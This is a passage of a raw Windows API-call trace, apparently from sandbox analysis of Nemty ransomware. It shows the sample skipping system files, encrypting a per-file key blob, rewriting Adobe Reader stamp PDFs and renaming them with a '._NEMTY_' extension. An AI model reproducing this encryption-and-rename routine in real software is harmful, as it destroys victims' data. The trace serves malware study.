"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf._nemty_kgobjgd_")) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.645] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.645] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0189.646] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0189.646] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0189.646] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0189.646] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.646] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0189.646] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0189.646] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0189.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.646] Sleep (dwMilliseconds=0x5) [0189.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24af7090, dwHighDateTime=0x1d561e8)) [0189.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24af7090, dwHighDateTime=0x1d561e8)) [0189.647] GetLastError () returned 0x0 [0189.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.647] GetLastError () returned 0x0 [0189.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.647] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.647] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="XtJzBAzrOzqJ52HeyO+9S/oCqeFoxOqb2LcBFPASMavYm/u87Xw61Lo8/dBcQrl3\r\n/B6jG5n6Q9in/S2g1PDN2y3R5h2ozvpaR0s5n7iffc97O8i0B36cXT2NRvGvgMgQ\r\nvSFKvImfUlPqqq0YzvCEeNomVSh/6X+JxHelCON2N1iZvWM0+xP3wvNirrc2e3Gc\r\n4Elpc57SAMCSBW7o3AI48co94MekFNXPGY4/wbi5tJF/p2FL+O2hbog0IQDjyRov\r\nOHhnsSe7D4Qm8s/iSRXVhz2GLiRkVJUP25KCcYxa6snwFRdWKuu/9f1zfpJZanz1\r\nRmWiM1otk0dSszXU3+D4lw==\r\n", pcchString=0x653df5c) returned 1 [0189.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.648] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0189.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0189.648] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.648] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0189.653] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.653] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0189.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.653] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0189.653] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.653] CloseHandle (hObject=0x320) returned 1 [0189.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.654] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.654] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9dd, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.654] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.654] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.654] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.654] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.654] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.654] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.655] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.656] Sleep (dwMilliseconds=0x5) [0189.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24b1d1f0, dwHighDateTime=0x1d561e8)) [0189.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24b1d1f0, dwHighDateTime=0x1d561e8)) [0189.663] GetLastError () returned 0x0 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.663] GetLastError () returned 0x0 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.663] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.663] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="HctVLo94eDQba/9Q8SvUXRmaUfHJ+1E0tHzpNhvnId4jbwFUhx4T0h0ERbm2xJQK\r\nA9o6x/mMov7irW9fiIIYF4wM/Gd/0xZB96PZbX/Si266lP39n073ABzTeu0lB3ay\r\nRocOz0omwvhCGlJKM/3aXLbyWPsHZubxIDrZzB2v0r/nqw5UsZ30nWY0O1gZ9mTZ\r\nXNaD/qC1Bh3ccV4RnvDRf1iK/Q52UDN47JwbXQsRwlqLYS2dCi0bf6ezyg5wmlgY\r\nruqCbyxLkIG0hF6/thEAQYjtxiRA/7gwn77yu+nnctwiT73uChKhjNC92Hkyd59H\r\n4KnUejCXSuzGaS0s38FNsw==\r\n", pcchString=0x653df5c) returned 1 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.664] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=47581) returned 1 [0189.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb9d0) returned 0x6352c48 [0189.664] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.664] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb9d0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb9d0, lpOverlapped=0x0) returned 1 [0189.677] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.678] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb9d0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb9d0, lpOverlapped=0x0) returned 1 [0189.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.678] SetFilePointer (in: hFile=0x320, lDistanceToMove=47581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9dd [0189.678] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.678] CloseHandle (hObject=0x320) returned 1 [0189.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.679] 